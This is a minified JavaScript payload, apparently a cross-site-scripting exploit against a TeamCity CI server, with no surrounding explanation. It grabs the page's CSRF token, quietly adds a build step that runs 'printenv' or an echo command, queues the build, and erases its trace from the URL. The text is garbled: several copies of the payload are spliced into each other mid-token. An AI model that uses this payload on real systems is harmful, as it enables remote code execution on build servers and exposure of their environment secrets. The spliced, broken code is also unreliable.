|
((n,r,o,d,i,u,p)=>{n.r||(n.r=1,r.history.replaceState(0,n.title,o.slice(0,o.indexOf("%27"))),r.onerror=(()=>!0),r.addEventListener("DOMContentLoaded",()=>{t=n.querySelector(".tc-csrf-token-input").value,e=p(`/admin/editRunType.html?id=buildType:${d}&runnerId=__NEW_RUNNER__&submitBuildType=store`),e.onloadend=(()=>{e.onloadend=0,a=p("/ajax.html"),a.setRequestHeader("X-TC-CSRF-Token",t),a.send(`add2Queue=${d}&validate=true&redirectTo=`)}),e.send(`runTypeInfoKey=simpleRunner&buildStepName=RCE+Demo&prop%3Ateamcity.step.mode=default&prop%3Ause.custom.script=true&prop%3Ascript.content=printenv&submitButton=Save&tc-csrf-token=${t}`)}))})(document,window,location.href,"Temporally_ArtifactProducer",0,0,e=>(x=new XMLHttpRequest,x.ope((n,o,r,d,i,u,p)=>{n.r||(n.r=1,o.history.replaceState(0,n.title,r.slice(0,r.indexOf("%27"))),o.onerror=(()=>!0),o.addEventListener("DOMContentLoaded",()=>{t=n.querySelector(".tc-csrf-token-input").value,e=p(`/admin/editRunType.html?id=buildType:${d}&runnerId=__NEW_RUNNER__&submitBuildType=store`),e.onloadend=(()=>{e.onloadend=0,a=p("/ajax.html"),a.setRequestHeader("X-TC-CSRF-Token",t),a.send(`add2Queue=${d}&validate=true&redirectTo=`)}),e.send(`runTypeInfoKey=simpleRunner&buildStepName=RCE+Demo&prop%3Ateamcity.step.mode=default&prop%3Ause.custom.script=true&prop%3Ascript.content=echo+%22RCE+via+XSS%22&submitButton=Save&tc-csrf-token=${t}`)}))})(document,window,location.href,"Temporally_ArtifactProducer",0,0,e=>(x=new XMLHttpRequest,x.open("POST",e,!0),x.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),x))n("POS((n,o,r,d,i,u,p)=>{n.r||(n.r=1,o.history.replaceState(0,n.title,r.slice(0,r.indexOf("%27"))),o.onerror=(()=>!0),o.addEventListener("DOMContentLoaded",()=>{t=n.querySelector(".tc-csrf-token-input").value,e=p(`/admin/editRunType.html?id=buildType:${d}&runnerId=__NEW_RUNNER__&submitBuildType=store`),e.onloadend=(()=>{e.onloadend=0,a=p("/ajax.html"),a.setRequestHeader("X-TC-CSRF-Token",t),a.send(`add2Queue=${d}&validate=true&redirectTo=`)}),e.send(`runTypeInfoKey=simpleRunner&buildStepName=RCE+Demo&prop%3Ateamcity.step.mode=default&prop%3Ause.custom.script=true&prop%3Ascript.content=echo+%22RCE+via+XSS%22&submitButton=Save&tc-csrf-token=${t}`)}))})(document,window,location.href,"Temporally_ArtifactProducer",0,0,e=>(x=new XMLHttpRequest,x.open("POST",e,!0),x.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),x))T",e,!0),x.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),x)); |